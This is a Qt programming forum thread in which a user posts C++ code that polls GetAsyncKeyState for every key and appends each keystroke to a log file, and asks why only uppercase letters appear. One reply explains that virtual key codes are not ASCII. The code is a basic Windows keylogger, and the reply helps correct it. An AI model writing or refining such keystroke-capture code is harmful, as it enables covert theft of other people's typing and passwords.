Results 1 to 3 of 3

Thread: write only with uppercase not lowercase

  1. #1
    Join Date
    Sep 2016
    Posts
    78
    Thanked 1 Time in 1 Post
    Qt products
    Qt5

    Default write only with uppercase not lowercase

    The code.
    void MainWindow::escucharTeclas()
    {
    /** Esta función comprueba que teclas hay pulsadas y las guarda en un archivo **/
    char num;
    num = comprobarTeclas();

    if(num>=32)
    {

    log.open(QFile::Append);
    cadenaa.append(num);
    log.write(cadenaa);
    cadenaa.clear();
    log.close();
    }
    if(num==13){
    log.open(QFile::Append);
    log.write("\n");
    log.close();

    }
    }
    This return the key of num.
    short comprobarTeclas()
    {
    short i = 0;
    for(i = 0; i < 255; i++){
    if(GetAsyncKeyState(i) == -32767)
    return i;
    }
    return 0;
    }
    But when write something, only write me with uppercase all letters. I do this: Listen the keys, then return the key belong and then write. But only write me upper letters. Thanks in advance;

  2. #2
    Join Date
    Jan 2008
    Location
    Alameda, CA, USA
    Posts
    5,230
    Thanks
    302
    Thanked 864 Times in 851 Posts
    Qt products
    Qt5
    Platforms
    Windows

    Default Re: write only with uppercase not lowercase

    So how about if we do this: Since you appear to be capable of solving your own problems, we will wait for a day or two before answering any more of your questions.

    Because you are not willing to share with anyone here how you solved the problems you ask about, why should we waste our time sharing what we know with you?
    <=== The Great Pumpkin says ===>
    Please use CODE tags when posting source code so it is more readable. Click "Go Advanced" and then the "#" icon to insert the tags. Paste your code between them.

  3. #3
    Join Date
    Mar 2009
    Location
    Brisbane, Australia
    Posts
    7,729
    Thanks
    13
    Thanked 1,610 Times in 1,537 Posts
    Qt products
    Qt4 Qt5
    Platforms
    Unix/X11 Windows
    Wiki edits
    17

    Default Re: write only with uppercase not lowercase

    You appear to be assuming that the GetAsyncKeyState virtual key codes are ASCII or Windows code page codes: they are not. Pressing the numeric keypad 1, with a keycode value equal to the lower case ASCII 'a' value, will probably put an 'a' in your file.

Similar Threads

  1. How to make LineEdit show all text in uppercase
    By roseicollis in forum Qt Programming
    Replies: 13
    Last Post: 4th March 2015, 15:29
  2. uppercase letters in a QTextEdit
    By annitaz in forum Qt Programming
    Replies: 2
    Last Post: 6th July 2013, 08:34
  3. Replies: 2
    Last Post: 2nd November 2010, 05:15
  4. Replies: 10
    Last Post: 12th February 2009, 07:23
  5. QTextEdit UpperCase
    By ederbs in forum Qt Programming
    Replies: 2
    Last Post: 18th November 2006, 14:41

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  
Digia, Qt and their respective logos are trademarks of Digia Plc in Finland and/or other countries worldwide.